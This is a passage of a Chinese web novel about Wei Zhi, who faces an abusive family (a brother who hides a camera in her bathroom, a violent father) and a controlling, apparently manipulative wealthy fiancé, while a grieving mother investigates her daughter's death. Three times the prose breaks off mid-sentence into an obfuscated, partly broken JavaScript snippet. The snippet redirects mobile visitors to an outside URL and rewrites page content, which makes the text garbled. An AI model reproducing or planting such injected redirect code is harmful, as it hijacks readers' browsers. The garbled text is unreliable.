网吧里永远充满着红烧牛肉方便面和廉价香烟的臭气。 几夜没睡的青年激动地打击着键盘,噼噼啪啪的声音响荡在排满了液晶屏幕的空间里。 魏来依依不舍地下机,和狐朋狗友勾肩搭背地往门外的夜色走去,穿着超短裙的收银小妹倚在柜台前,一边用两根做着粉色水钻美甲的手指仔细地嗑瓜子,一边懒洋洋地看了他们一眼:“慢走啊。” “吃个宵夜?”狐朋邀请道。 没说谁请,魏来心里门清,一定是想让他请。 他兜里空空,昨晚白挨了顿打,什么都没捞着,连充网费继续战斗都做不到,更别提请客吃饭了。 “不了,我还不饿。打了一天游戏,累了,我先撤。”他故作轻松地说道,把手臂从狗友身上收了回来。 “行,那就下次。” 三人爽快作别,那两人没有分头离开,仍走在一起,估计是要瞧他没钱,就要撇下他再续摊子。 “两个狗娘养的,过街就被车撞死。” 魏来在心中暗暗诅咒,不情不愿地独自走上了回家的路。 魏来戴上最新的蓝牙耳机,拿出最新的手机,刚一打开手机音乐,就忍不住跟着旋律哼唱了起来。 如果昨晚魏芷没醒,或者魏芷爽快一点直接给钱,他就用不着走路回家了。 所以,连带着他把魏芷也诅咒了一番。 还是当个女的好啊,随便拾掇拾掇就能傍上有钱人,躺下来就能有钱挣,不像他,命苦啊—— 大路渐尽,魏来走上回家必经的小路。 虽然路灯有些昏暗,有些地方还没有监控,但他又不是女人,有什么好怕的? “我手一杯,品尝你的美~” 魏来随着耳机中的节奏摇头晃脑,不时深情跟唱。 “留下唇印的嘴~哦~哦啊啊啊!” 一片带着鱼腥味的黑暗忽然笼罩下来,他还没来得及反应,就被一双手强拉着偏离了小路。是巷道?还是什么?来不及思考,暴雨般的拳打脚踢已经落了下来。 “啊!!谁啊?!”魏来一边惨叫一边询问,根本来不及反抗,只来得及双手护头,双腿夹紧,以免重要部分受害。 没人回答他的问题。魏来渐渐跌坐到了地上,在暴风雨一样的打击下蜷缩着。 混乱中,他的新手机和左边耳机都掉落了。 周杰伦还在耳机里“哦哦哦”,但他已经无暇跟唱了。魏来看见一只穿着AJ和牛仔裤的脚把手机踢远了,然后一脚踩在他的蓝牙耳机上。 他听到了咔嚓一声。 然后是—— 魏芷的声音。 “别打了,我们走吧。” 如果说莫名被打的愤怒就像一堆枯柴,因为掺杂着一点雨水一样的,对更恶之人的恐惧和退缩,那么魏芷的声音,就像最烈的油,最热的风,能够点燃世间一切。 “你他妈的——原来是你找人搞我!” 魏来勃然大怒,之前没有的勇气现在马上冒出来了,他挣扎着摆脱了头上的编织口袋,昏暗的巷道里,已经只剩下他自己。 他踉跄着站了起来,感觉鲜血顺着额头流下。 “你他妈的孬种!有本事出来单挑!”他冲着无人的黑暗里狂怒道。 无人回应。 魏来气喘吁吁地垂下眼,到处找他的新手机,找来找去都没找着,只有编织口袋上“多子多福甲鱼饲料”几个字安静地与他对视。 “妈的!” 他一脚踹开袋子,摘下耳朵上仅剩的一只蓝牙耳机砸了出去。 …… 今天晚上的单子多,魏芷忙得够呛,一口气没歇,制服下面的T恤都被汗水打湿了。 虽然说送得越多,单子单价越高,但魏芷有正职,只能利用下班后的空闲时间跑跑外卖,截止十二点,她已经跑了快三十单,能挣个百来块钱。往常她得跑到一点才能有个三十单。 要不是王琳忽然打电话来,说魏来被人揍进了急症室,她还会继续跑下去。 魏来被打没什么好奇怪的,认识他却不想打他的人才奇怪。她本来不想去,王琳却说魏来的手机丢了,不知道有什么事一定要找姐姐。 魏芷顾不上换衣服,骑着小电驴匆匆赶了过去——不是因为担心魏来,只是觉得早点了结还能继续跑单。 她把小电驴停在医院门口,快步走进急诊室,一眼就看到全家人围着的魏来。 他蔫头蔫脑地坐在蓝色塑料长椅上,头上绑着绷带,但一见到她,就像打了鸡血一样猛地站了起来。 “你还真敢来?我弄死你——” 魏来要朝她冲来,王琳急忙去拦,在那之前,魏杉先把他按了回去。 “你发什么疯?医生说你可能脑震荡,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528727|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你把脑子摔傻了啊?” “是她叫人来打我的!就是她!”魏来气愤地指着她。 王琳吃惊地望着她,魏杉半信半疑地打量着她。 “你姐?她在送外卖,然后叫了朋友来打你?”魏杉试图合理化魏来的控诉。 可魏来仍执着地指着魏芷说:“她带着朋友亲自来打的,我听见她声音了!错不了!” 魏芷只觉得莫名其妙:“神经,我下班就在送外卖。要给你看记录吗?” “我才不看!我听见你声音了,你骗不了我!” 魏来再气愤,再说听见她声音了,也抵不住魏芷确实送了一晚上的外卖,不仅机器可以给她作证,就连无数的外卖店家也可以给她作证。当然,他们没那空闲,魏芷也没那空闲。 “有病就扫个CT查查脑子,我没空和你闹。”魏芷主要是对王琳说,“我回去送外卖了,今晚忙,一点可能回不来。” “嗯……嗯。”王琳轻声应道,眼中露着担忧。 “你还我手机,你不许走!”魏来叫道。 “……毛病。” 魏芷转身就走。 “好!你对我不仁,别怪我对你不义!”魏来在身后叫道。 她连头都懒得回。 …… 季琪琨回家后,换上舒服的棉质家居服,把今天特意买的AJ和牛仔裤扔进垃圾桶里。录音笔里上次打壁球时录下的谈话也清空了。 他坐在书房的椅子上,兴趣盎然地欣赏着那个装满幸运星的星星瓶子。 他有一个类似的。 过去的记忆忽然浮起,带着一种知道已然逝去的平静的怀念。他打开角落的保险柜,从中拿出一个心型的玻璃瓶,里面也是装满了五彩的幸运星。 只不过,这个瓶子里的幸运星要不工整得多。 他随机倒出一颗,慢慢地拆开了星星,净色的那一面上,有一行娟秀的字迹。 “想和你永远在一起。” 季琪琨的嘴角露出一丝笑意。 他重新折好星星,把它放回瓶子,在把两个装幸运星的瓶子都放回保险柜之前,他忽然再一次比较起了两个玻璃瓶里的星星。 究竟是工整得奇怪,还是不工整的更奇怪? 怀着某种怀疑,他把魏芷那个瓶子里的星星往手心里轻轻一倒。 出来了四颗星星,他一一拆开对比。 每一颗的折痕,都是完全一样的。 一样的长度,一样的轻重。 一模一样的几百颗星星。 …… 抓紧剩下的时间,魏芷继续送外卖,跑着有电梯或者没电梯的楼,汗水从头盔下面流了出来,喉咙干得像有火在烧,她硬是用意志力忍着,也不舍得买一瓶两块钱的矿泉水,直到回家了,才报复般地灌了一大瓶冷开水。 魏来似乎放弃了和她纠缠,不然他宁愿不睡也会在家里等她。但现在,他的屋里响着震天的鼾声。 魏芷全身都淌着疲惫。 她快速冲了个澡,正准备上床睡觉的时候,脚尖踢到了昨天拆开的快递盒。 她不想把事情堆到睡醒之后,强撑着倦意把快递盒里四元五百二十颗的简装幸运星拿了出来,找了个还能塞下东西的收纳盒,随便扔了进去。 感谢……她的确该感谢季琪琨。 那一天。 他推门而入的那个瞬间,她正站在人生的一条分叉路上。 电脑的界面停留在数字账目上已经许久了,她迟疑着更改一个又一个的数目。一个个微小的差价,聚合起来就会是一个巨大的数目。 改完之后,她依然停留在那个界面,鼠标迟迟按不下保存。 是继续?还是后退? 开门声忽然响起,她抬起头,与一双第一眼就觉得很漂亮的、纯黑色的、暗流般不可捉摸的眼睛对上了视线。 她捕捉到了其中一闪而过的趣味。 不,她还有第三种选择。 无边的夜色还在蔓延。 呼气,吸气,呼气,吸气。 还不能睡,她撑着从枕头下摸出药,闭着眼睛干吞了一粒,然后才放心地下坠。 下坠。 直到坠入最深的黑夜。 4.第 4 章 第二日,魏芷察觉到平静的空气中有一丝不平静的变化。 首先,她去总监办公室送文件的时候,季琪琨没有像往常那样留她温存一会,其次,原本她也可以汇报的工作,他叫了小蔡去办公室。 最后,中午午餐时间,她主动去总监办公室找他,想邀请他一起吃午餐。 办公室已经反锁,路过的小蔡用一种幸灾乐祸的语气告诉她,季总听完汇报就出门了。 魏芷握着手机考虑了一会,最终还是没有打那个电话,转身去了公司的小食堂。 狭窄的食堂里坐满了正在用餐的画廊员工,因为她来得迟,已经没剩什么好菜。她低着头端详剩下的菜式,正打算随便吃点,一个熟悉的声音从头顶响起。 “来晚啦?排骨都被他们挑完了。” 魏芷抬起头来,手持一个大铁勺的郑田心站在她对面,铁勺上还沾着一点番茄炒蛋。她笑眯眯地看着魏芷,胸前围着一个脏兮兮的白色围裙,眼角的笑纹堆叠在脂肪之中,一个更宽更厚的下巴从真正的下巴后面挤了出来,也在向魏芷打着招呼。 在画廊工作了一年多,郑田心是魏芷唯一熟识的食堂员工。 原因无他,郑田心臃肿衰老的外表虽然和“甜心”一词无关,但她的性格却是公认的热情友善,她能记得画廊所有人的名字,每次见到,都会主动打一声招呼。 虽然不是每个人都喜欢她,但至少没人讨厌她。 魏芷也不讨厌她。 “没事,吃点菜也行。”魏芷笑道。 “你跟我来。”郑田心神秘兮兮地说着,拿手中勺子做了个“走”的手势。 魏芷端着餐盘跟她走到只有厨房员工才能入内的后厨,郑田心从她手中拿过餐盘,进了一趟后厨,再出来时,餐盘里已经堆满了公共餐盆里没有的土豆烧排骨和番茄炒蛋。 郑田心没有把餐盘直接还给她,而是端着餐盘继续帮她在用餐区找一个空位。 “今天怎么想着来食堂吃饭啦?和季总吵架了?”郑田心一脸调侃和八卦。 “没吵架。”魏芷说,“他上午好像比较忙。” “哎呀,男人嘛,都是这样的。没有永远热情的男人啦,忽冷忽热,我家那口子也是这样,高兴的时候一个样,不高兴的时候又是另一个样。”郑田心絮絮叨叨地说,“像季总这样的金龟婿,你要牢牢握住,想要撬墙角的人,多着呢!” 魏芷被她逗笑了:“谁想撬墙角?” “不可说,不可说。”郑田心摆了摆手,又继续传授起她的“驯夫宝典”,“这男人啊,好脸色不能一直给,也不能一直给坏脸色。你得吊着他。吊住了,再给颗甜枣,比直接给甜枣要好得多。” “怪不得田心姐和老公感情一直这么好,原来是有秘诀的啊。”魏芷打趣道。 “嘿,这么多年夫妻,能没点体会吗?” 两人说话间,逐渐走到一张已经没人的餐桌。郑田心将餐盘放下,满脸笑容地对魏芷说:“你慢慢吃,我回后厨啦。有什么再叫我!” “好,谢谢。”魏芷也笑着回应。 郑田心走后,魏芷坐下来,一边吃一边回想郑田心刚刚说的话, 先吊着再给吃的,比直接给的好…… 她打消了晚点再给季琪琨打电话的念头。 接下来两天,季琪琨没有联系她,她也没有联系季琪琨。季琪琨在办公室里表现如常,她也表现如常。 第三天,是周日。魏杉邀请季琪琨来家里吃饭的日子。 虽然是休息日,但魏芷通常也在跑外卖,只不过今天为了欢迎季琪琨的莅临,包括她在内的所有人都必须各就各位。 早上十点,一向懒惰的魏杉已经去了旧货市场“淘宝”回来,不仅带回日租的“古董”、“名画”,还从公园里偷剪了一把开得正好的粉色月季,插在空置了许久的花瓶里,隆重地摆在吃饭的小方桌中央。 就连头上绷带未拆的魏来,也必须穿戴整齐,打起精神,准备迎接即将到来的摇钱树。 王琳更不必说,从早上七点就开始在厨房里忙碌。 中午十一点整,魏杉拿出了只掌握在他手里的空调遥控器,让常年休息的空调终于上班工作。 半小时后,季琪琨还没打电话,但添越的引擎声就像独属于魏杉的铁铃铛,一摇一晃就知道开饭的时间到了。魏杉连忙把一双臭脚塞进棕色人造革皮鞋里,急急慌慌地出门去给他的金貔貅引路。 几分钟后,魏杉推开木门,把提满礼物的季琪琨引进狭窄的内室。 进了门,最先看见的就是那一米二的阳台,不过,魏杉已经提前让魏芷把那张折叠床收起来了。 所以,阳台只是阳台。 “哎呀,地方小,别嫌弃。要不是这邻里街坊的还指望着我们这个小卖部行方便,我早就想搬到那电梯公寓里了!”魏杉大声说道。 “怎么会嫌弃呢。”季琪琨笑道,“小芷呢?” 正在厨房帮忙的魏芷走出来,像是才发觉季琪琨已经到了一样,露出恰到好处的微笑:“你来啦?” 她的目光在季琪琨双手上的礼盒上扫了一眼。 “怎么提这么多东西?又不是第一次上门,太客气了……” “就是,太客气了。”魏杉一边说,一边抢过季琪琨手里提的茅台和中华等物,满脸掩不住的笑意,“魏芷,别忙活了,快出来陪琪琨说说话。” 魏芷取下围裙,请季琪琨在那张暗绿色的绒布短沙发上坐下,给他泡了杯茶。她端着茶杯回来的时候,魏来已经一屁股坐到了季琪琨旁边,正热切地拍着马屁。 “……我朋友知道我姐夫是江都市十佳企业家季钟永的儿子,都别提多羡慕了!我姐啊,也是走了大运才遇到姐夫这么好的人!” “是侄子。”季琪琨微笑着纠正。 “哎呀,姐夫在我面前谦虚什么,你在伯父心里,肯定跟他儿子一样,搞不好比儿子还亲呢!”魏来一脸谄媚道。 “你的头怎么了?”季琪琨笑着问。 “啊……这个,前几天上网回家的路上,没注意有个坑,摔了一跤。把头摔破了。草。”魏来看了魏芷一眼。 “你和你姐都太马虎了。”季琪琨说,“下回走路要小心些。” 没过一会,王琳就开始往小木桌上端菜。菜上齐后,她欣慰地招呼众人上桌吃饭。 小小的木桌,七个人挤得满满当当,就像桌上挪了又挪的餐盘,容不下一丝空隙。那碍事的花瓶,魏杉执意要让它留在中心。 还残留着公园清晨露水的粉色月季,强行放进了浅蓝色的塑料花瓶里。墙上临时挂上的假画和特意放在木门后玄关上的假古董。 一切都透着滑稽。 就像餐桌上硬凑在一起的七个人一样。 整顿饭局,最兴奋最激动的当属魏杉。他喋喋不休地谈论着魏家每个人耳朵都听起厚茧的“大工程”。 “……一旦动工,整个江都市都会被震动!那可是几十年未有的大工程!” “还没轮到我进场,但是听说已经有人开始进场了。我都打点好了,只要开动!三百万马上进我的账户!” “三百万算什么,我拿的那是小头。这可是几个亿的工程。三百万?洒洒水而已!” “工程绝对是真的,我连文件都看过了,白纸红字的,还有公章,能有假吗?□□我们都一起吃过饭呢!” 魏芷早有心理准备,但不妨碍她依旧坐如针毡。 魏家人缺失的脸皮,好像都长在了她的脸上。 魏杉就不必说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529798|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,看看魏来,不痛不痒,习以为常,时不时殷勤地给季琪琨夹一筷菜。 王琳倒是不声不吭,但越埋越低的脸庞也透露着一股尴尬。 漫长的饭局终于结束了。 有了插话的空档,王琳终于带着一丝讨好,小心翼翼地开了口:“小季,您和小芷的婚期定下来了吗?” “定了,我们打算明年开春就结婚。”季琪琨礼貌地笑道。 “那就好……那就好。”王琳松了口气,连连点头,“婚礼的事情,如果有我们帮得上忙的地方,您别客气……我们原本就是农村人,吃得苦吃得累,出力的事情叫我们就好。” “阿姨放心吧。” 逼仄贫穷的魏家,也没什么好留人的。连个能摆在外边的电视都没有,留人下来做什么呢? 双方都默契地不提饭吃了留下来坐坐的事。 作为替代,魏杉把魏芷作为回礼推了出去,让“两个小年轻去看场电影,约约会,我们老家伙就不打搅了”。 魏芷在季琪琨身后出了门,他的衣着永远是当季时装周下来的最新款,在那昂贵的服装之下,是常年保持锻炼的劲瘦体态,和这条不加修饰,赤裸裸暴露着贫穷的小巷截然不同。 他停下脚步,回头凝视停下脚步的魏芷,眼睛弯出笑意。 “怎么走这么慢?” 魏芷缓缓走到他面前,抬起头望着他的面庞。 “对不起……我爸总是那样。” “你爸是挺有意思的。”季琪琨似笑非笑道。 他看魏芷低下头没说话,主动牵起她的双手握在手里,望着她再次抬起来的眼睛说道;“我知道你重感情,但是有些对你没好处的东西,该割舍就要割舍。你别忘了,你还有我。” 他用食指轻轻抚去魏芷眼角渗出的泪水。 “比起那些以家人之名伤害你,剥削你的人——魏芷,你选择了我,我也选择了你。我们才是真正的家人。” 季琪琨看到魏芷咬住了嘴唇,那是她的要强。但她的委屈,那像是要哭出来一样的声音,最终冲破了要强。 “我以为你不要我了。”她说,“你好几天都躲着我。” “我什么时候躲你了?”季琪琨笑道。 疑惑在季琪琨心中烟消云散,原来并不是她无动于衷,而是她倔强地把忐忑和害怕藏了起来。 “你真的没有躲我吗?”魏芷追问。 “当然,只是这几天有些忙,我顾不上过问你。”季琪琨牵着她的手往停车的方向走去,“我们也别浪费你爸妈的好意,去看电影吧?” …… 托季琪琨的原因,魏芷有一个完全放松的周日。 只不过,她还是会想,要是拿这个时间去送外卖就好了。 晚上十点,季琪琨把她送回家。现在出门去配送站取小电驴换衣服,也送不了多久了,魏芷决定给自己放一天完整的假,回家之后洗一个澡,然后早点睡觉。 家里热得像是蒸笼,两个卧室里都有立式风扇,魏芷的折叠床边只有一把桌面风扇在努力破开闷热粘稠的空气运转。 魏芷拿上换洗衣服,走进狭窄的浴室,把衣服挂在门后,开始脱衣服。 蒸汽渐渐充盈着整间浴室。 这是她一日之间难得的放松时刻。 她正享受着这片刻的安宁,目光在头顶换气扇的扇叶背后忽然瞥见一丝幽光。 温热的水流依然冲刷着她的身体,胸口里的心脏却忽然被一盆凉水浇透。 魏芷关闭水流,踩着角落的置物柜,伸手够到了换气扇。 她的手指在充满陈年灰尘的换气扇背后摸索。 她摸到了不属于换气扇一部分的——一个光滑的,崭新的东西。 一个针孔摄像头。 5.第 5 章 魏芷大步走进魏来房间的时候,他正穿着一条蓝色的印花沙滩裤,瘫倒在床上打手机游戏。看见魏芷不请自来,他立即防备地坐起,眉毛一拧,满脸嫌恶地说: “谁允许你进来了,出——” 话还没说完,魏芷一巴掌已经落到魏来脸上。 魏来被一巴掌打懵,在他反应过来之前,魏芷举起了手中的那块小小的黑色针孔摄像机。 “这是什么?”她一字一字地说道,眼中的怒火几乎要化为实质。 魏来看清她手里的东西,原本已经在脸上蓄积的愤怒,就像决堤的水库一样,瞬间消退了下去, “这……那……”他毫无心理准备,结结巴巴地说,“我、我他妈怎么知道……” 魏芷不听他狡辩。 要等到证据链确凿才判案的是警察和法官,她什么都不是。 魏来的惨叫声引来了看店的王琳和房间里已经睡下的魏杉,王琳还想着问一下魏芷为什么动手,魏杉已经用力推开魏芷,挡在了他的宝贝儿子身前,怒喝道: “魏芷!你最近越来越过分了!这是你的仇人还是亲弟弟啊!?” 狭小的卧室里一下子站了四个人,魏芷和魏来明明站的是同样的边角,但看着挡在中间的魏杉和王琳,魏芷觉得被逼入墙角的只有自己一个。 “这就是我的亲弟弟做的事——在浴室里放摄像头偷拍我。”魏芷拿出那已经被她攥热的黑色摄像头。 王琳震惊地望着她手里的摄像头,魏杉只是略微吃惊地扫了一眼,然后马上询问魏来:“是你放的吗?” “关我屁事,我不知道!”魏来马上喊冤。 “你看,你弟弟说他不知道。你有什么证据说是他放的?” 魏芷拿出手机,按下110三个数字,然后把手机屏幕对着三人。 “魏来,我给你三秒钟的时间考虑,你是自己承认还是警方提取到摄像头上的指纹再承认。三、二——” 在最后一秒钟,魏来涨红了脸,冲着魏芷大叫起来。 “你打啊!你打吧!让所有人都知道我们家是什么家庭,让季琪琨知道你是个什么货色,我们所有人是个什么货色,我看他还会不会娶——” 王琳急得双手放不下来,两边相继安抚。而魏杉已经面色大变,一巴掌扇歪了魏来的头。 “你骂谁呢?你老子也是货色?!” 魏来捂着脑袋缩在墙角,只有眼神仍恨恨地瞪着对面的魏芷。误伤了魏杉导致挨打,接下来的话他谨慎了许多。 “你以为我想做这种事?”魏来咬牙切齿道,“都是让你逼的!你不是傍了个有钱人吗?只顾着给自己花钱,对自己家人这么抠门,真不知道爸妈养你这么大做什么!” “再怎么样也不能走歪门邪道,你怎么能做这种事情呢?”王琳紧皱眉头,小声呵斥道。 “你闭嘴!就是因为你没教好孩子,所以他们才会有这么多冲突!” 魏杉眼睛一瞪,鼓胀的金鱼眼里满是暴戾,垂着的双手因为耐性即将告罄,已经用力捏成拳头,青筋在那张有着狰狞怒容的脸上蔓延。王琳的身体霎时僵硬,再想为魏芷说些什么,已经没了勇气。 不光王琳,就连魏来和魏芷,也条件反射地屏住呼吸,绷紧了身体。在那一刻,先前的争吵已经不再重要了。 长期生活在暴力之中的人,身体会在挨打前条件反射地绷紧肌肉,以减轻即将到来的疼痛。这是魏家除魏杉以外每个人都习得的本能。 即便她的心灵已经不再恐惧魏杉,但那深深铭刻在骨血之中,成为一种本能的恐惧,还是会在突然的时刻,卷土而来控制她的身体。 但她不会再输了。 魏芷的双手慢慢紧握,修剪整齐的指甲深深刺入掌心。他人赋予的疼痛带来的是恐惧,而自身给与的疼痛带来的是清醒。 她直视着魏杉的眼睛,缓缓说:“我嫁不成季琪琨,我还可以有其他出路。你们呢?你和妈的贷款谁来还?魏来这样的废物,如果没有季家照拂,他这辈子还有什么希望?” “你说谁是废物?!”魏来的身体从墙角挺了起来。 魏杉的表情陷入了思索。 片刻后,他一脚踹在魏来身上。 “向你姐姐道歉。” “啊?” “道歉!” 不等魏来缓过神来,魏杉的拳打脚踢已经雨点般落了下去,魏来被打得措手不及,僵硬地愣在原地。 他的身体已经比老去的魏杉要强壮许多了,但经年累月留下的阴影和惯性,让他依旧如十几年前一样,只会条件反射地抱住头,单方向承受魏杉的暴行。 “妈!妈!姐!姐姐!救我!”魏来惨叫。 王琳如一尊泥塑人偶,木在原地,脸上微弱地闪动着恐惧。 “够了!”魏芷忍无可忍。 魏来是个混账,但不代表她会看着他遭受父亲的虐打而感到快意。 眼前的一幕,一切都令她恶心。 “……够了。”魏芷说。 魏杉停下手脚,喘着粗气看向魏芷。 魏芷看着魏来:“你在其他地方安了摄像头吗?” “没、没了……”魏来蜷缩在墙角。 “……再有下次,我直接报警。我不会在乎你有没有案底。”魏芷说。 她推开王琳,转身走出魏来的卧室。 一米二的阳台前所未有的压抑和狭窄,她拿起自己的包和手机,头也不回地往外走去。 ”小芷,这么晚了你去哪儿?”王琳焦急的呼声从身后传来,魏芷还听见了她踉跄追来的脚步。 她没有回头。 仅仅今夜,仅仅此刻,她需要抛下一切,离开这个遍布毒液的沼泽。 途径一个臭水沟的时候,她把从换气扇后扯出来的针孔摄像头扔在地上踩得稀碎,再用脚踢进了臭水沟里。 然后,她拨通了季琪琨的电话。 “我能不能去找你?” 电话一接通,她就问。 半个小时后,黑色的添越停在了路边。有着无数蚊蝇环绕的老旧路灯洒下昏黄的灯光,季琪琨从车上走下,只一眼就发现了隐藏在夜色中的魏芷。 她抱着双膝坐在一条公园椅上,将自己蜷缩成小小的一团。 季琪琨走到她面前,抬起她的面庞,看见的是一张泪迹斑驳的脸。 他蹲下身,目光与魏芷平视,右手温柔地擦拭着她脸上的泪痕。 “你可以尽情依赖我,”他柔声说道,“因为,我才是世上最爱你的人。” …… 交往一年多,季琪琨还是第一次把她带回家。 他住在江都市房价最高的小区之一,鹭岛府。穿着西装,身形笔挺的小区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558287|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎宾二十四小时站在玻璃房内,宛若迷宫一般的地库里停满百万级的豪车。 而江都市这一年的非私营职工平均工资才五万多,折合每月平均工资四千多,扣除五险之后到手只剩三千多,而私营职工所得,就更少了。 像她,税前还能有接近四千的月薪,税后再扣除五险,连上个三千都够呛。 她要不吃不喝多少年,才能买得起那样一辆豪车。 人与人之间的差别,究竟是从什么时候,开始分岔的呢? 就职?高考?初中? 还是从出生那一刻起,每个人的命运就已经天差地别。 魏芷不知道答案,但她不甘心。 季琪琨在密码锁上快速按了几下,推开门请魏芷进去。 “家里有点乱,别介意。”季琪琨笑道,“冰箱里有咖啡和矿泉水,你想喝点什么?” “水就好。”魏芷说。 季琪琨走向开放式厨房的中岛,而魏芷开始打量季琪琨家中的布置。除客厅和洗手间以外,其他房门都无一例外紧闭着,门上都安着和大门一样的密码锁。 他们常去的那家五星级酒店套房里,有宽阔的落地窗,似乎每天都有专人清洁。每一次,上面都能清晰映现出她和季琪琨重叠的影子。 她从前不知道季琪琨为何钟爱那家酒店的套房,现在她知道了。 他喜爱的不是那家酒店的设施和服务,而是镜子。 季琪琨的家中,镜子是一项重要的装饰品。无论魏芷走到何处,都有一面镜子锁住她的身影。 冷冰冰的月光从落地窗外洒进,再由无数镜面折射,整个冷灰色色调为主的家中,飘散着四分五裂的月光。 季琪琨拿着从冰箱里取出的矿泉水走了回来,拧开瓶盖之后递给她,魏芷接过塑料水瓶,冰镇后的寒意透过掌心侵蚀着整条手臂。 她慢慢喝了几口。 “感觉好些了吗?”季琪琨专注地看着她。 “……嗯。” “我永远都在你身边,宝贝。”季琪琨神色温柔,嗓音低沉而充满魅惑,“你只要依赖我就好了。” 魏芷贴上冰冷的落地窗,右手正好落在远处一座灯火辉煌的大厦身上。隔得那么远,那么不真切,让人错以为平凡之躯也可以掌控世界。她的右手慢慢收拢,喉咙里溢出忍耐的声音。 她没有问他为什么之前总是去酒店,没有带她回过家。 她一向乖巧识趣,这正是她最终能迈入这里的原因。 第二天早上天不亮,魏芷已经悄悄起床。 她悄悄关上卧室的门,目光扫过寂静的四周,墙上的异形镜面中映出她的身形。怀着某种好奇心,她将手放到其中一间紧闭的房门把手上,自动感应装置让输入界面亮起,她看着数字面板,思考季琪琨会用什么东西来作密码。 片刻后,她松开把手,走向厨房的中岛。 大理石台面上纤尘不染,角落放着一袋用封口夹夹着的全麦麦片,冰箱里也有开封过的纯牛奶。 判断出季琪琨通常的早餐是什么后,她开始着手准备。 被她随意放在台面上的手机震动起来,一个陌生电话出现在屏幕中。魏芷知道对方是谁,将手机设置为静音后,手机屏幕朝下放置不管。 但那个电话,依然破坏了她内心的平静。 她的时间不多了。 6.第 6 章 微熹的晨光从落地窗外透进,密闭的空间里飘散着咖啡的醇香。 季琪琨坐在狭长的餐桌前,手里握着刚舀过一勺麦片的陶瓷汤匙。 “……虽然东西是一样的东西,但奇怪的是,味道就是不一样了。”他笑着说,“我醒来时见你不在,还以为你走了。” “你赶我走啊?”魏芷故意说道。 “当然不是,你想住多久都行。”季琪琨微笑道,“反正我们很快就是法律承认的一家人了。” 大理石台面上丝丝缕缕的天然纹路,灰白之间,掺杂着大片发黑的赤红。 他低下头,用汤勺缓缓搅动碗中的牛奶麦片,奶液裹挟着麦片,被卷入季琪琨随心而起的白色漩涡。 “我父母还在的时候,我也没吃过几顿像样的早餐。”他神色平静,缓缓说道,“像这样平凡而温馨地一起吃饭,就是我那时遥不可及的梦想。” 魏芷抬头望着他。 “我一直没告诉你,为什么我会由伯父抚养长大。”他说,“我父亲在我八岁的时候,因肇事逃逸进了监狱,或许是不堪狱中的折磨,半年不到他就自杀了。” “他是个懦夫。” “而我的母亲,在我父亲死后不久也改嫁了。所以,我住到了伯父家里。讽刺的是,住到别人家里后,我才发现我所渴求的,正是别人习以为常的日常。” 魏芷握住了他的手,郑重其事地说:“现在你还有我。” “是啊,现在还有你陪着我。”他轻声说,“我想要和你共度余生,但我总是害怕这是一场美梦,总有一日我要失去它。” “你有家人,有朋友,每当看见你和别人说话,我的内心就会充满恐惧。你和我不一样……你的世界不止我一人。” 季琪琨反握住她的手,魏芷从他低沉的嗓音中听出一丝脆弱。 “他们当然跟你是不一样的。”她安慰道,“只有你才是我最爱的人。” “……你要怎么证明呢?” 季琪琨抬起眼来,那是一双一如既往的漂亮眼睛。瞳孔黝黑澄净,像玻璃珠一样毫无瑕疵。 这个早上,魏芷删除了手机里除家人以外的所有联系方式。 …… “你本来可以不来的。”翁秀越神情复杂地望着比她更早出现在江都美院大门外的人。 张开阳咧嘴一笑,身上的T恤和牛仔裤让他与周围来往的学生融为一体。 “我们走吧,你想先从哪儿查起?” 自那之后,翁秀越咨询了律师,并最终决定以虐待罪向季琪琨提出起诉。 但光凭那些聊天记录,还不足以证明虐待行径。张开阳接到翁秀越的电话后,主动提出陪她走访梅满的人际圈。 这并不属于他的工作,所以他是用休息日来做这件事的。 翁秀越今天穿着一袭黑裙,头发服帖地盘在脑后,眼唇妆容一个不少。除了无法遮挡的眼中血丝外,丝毫看不出她正在经历丧女之痛。张开阳听说,她甚至还在坚持上班,就像他是用休息日来陪她调查一样,她也是在用上班之外的空闲时间,为女儿伸冤而四处奔走。 他无法想象她的内心,只知道她经受的痛苦不比之前的任何一位死者家属更少,而她依然能强撑着维持日常,内心绝对是他无法想象的强大。 除同情以外,还有钦佩,这两种感情,哪一种都是他今日来到这里的原因。 在校长办公室,他们见到了梅满的辅导员。 “……在学校里,他们是公认的金童玉女,同学和老师都很喜欢他们。季琪琨从大一就进入了学生会,大三时全票通过担任学生会长。梅满自然也很优秀,她的专业成绩在年纪数一数二,代表学校参加过多次全国性比赛并赢得奖项。” 辅导员叹了口气,脸上都是遗憾。 “……年轻人谈恋爱,吵架在所难免。但谁能想到,最后会这样收场呢?” 